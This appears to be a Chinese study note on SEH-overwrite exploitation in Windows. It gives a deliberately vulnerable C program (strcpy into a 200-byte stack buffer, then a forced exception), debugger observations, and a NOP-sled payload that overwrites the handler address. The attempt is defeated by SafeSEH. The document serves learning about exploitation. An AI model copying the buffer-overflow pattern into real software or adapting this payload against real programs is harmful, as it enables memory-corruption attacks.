直接看代码
#include "stdio.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90
void MyExceptionhandler(void){
printf("got an execption, press Enter to kill process\n");
getchar();
ExitProcess(1);
}
void test(char * input){
char buf[200];
int zero = 0;
__asm int 3
__try{
strcpy(buf, input);
zero = 5 / zero;
}
__except(MyExceptionhandler()){}
}
int main(){
test(shellcode);
return 0;
}
理解seh
调试看看,停在test函数的int3处,先看看前一些的代码,首先会在test函数的栈帧中安装一个seh结构
其实就是先将我们自定义的异常处理的函数的首地址压入栈,将最上面的也压入栈,更新最上面的seh的值

继续看看strcpy和除0是怎么实现的

之后我们在异常处理函数的首地址下个断点

运行到除0,shift+f9忽略异常,意思就是我们的调试器不处理异常,交给操作系统处理,那么操作系统肯定会乖乖的去调用seh处理函数了
一开始可能那个写复杂,所以下面跟了几步才去执行那个函数




我试试直接改成作者那样简单点的

其实差不多


查看seh链

尝试利用
直接f9运行就好了,先看看shellcode的其实位置

可以看到,200个0x90,还差12个,之后4个就可以覆盖我们shellcode的首地址了

先把shellcode改成212个90最后加个shellcode的首地址
char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x98\xFE\x12\x00";
可以看到已经被我们修改了

我们在shellcode起始位置下断点,下硬件执行断点吧

但是 除0之后发现程序退出了,应该是有safeseh,自Windwos XP SP2之后,微软就已经引入了SafeSEH技术。
会在这里挂掉

f7跟进

跟着就进入了一个系统调用,看不到更底层的东西了

之后f7就回到 除0那了

不过知道原理好了,这里肯定是有保护的了,一时不知怎么绕过

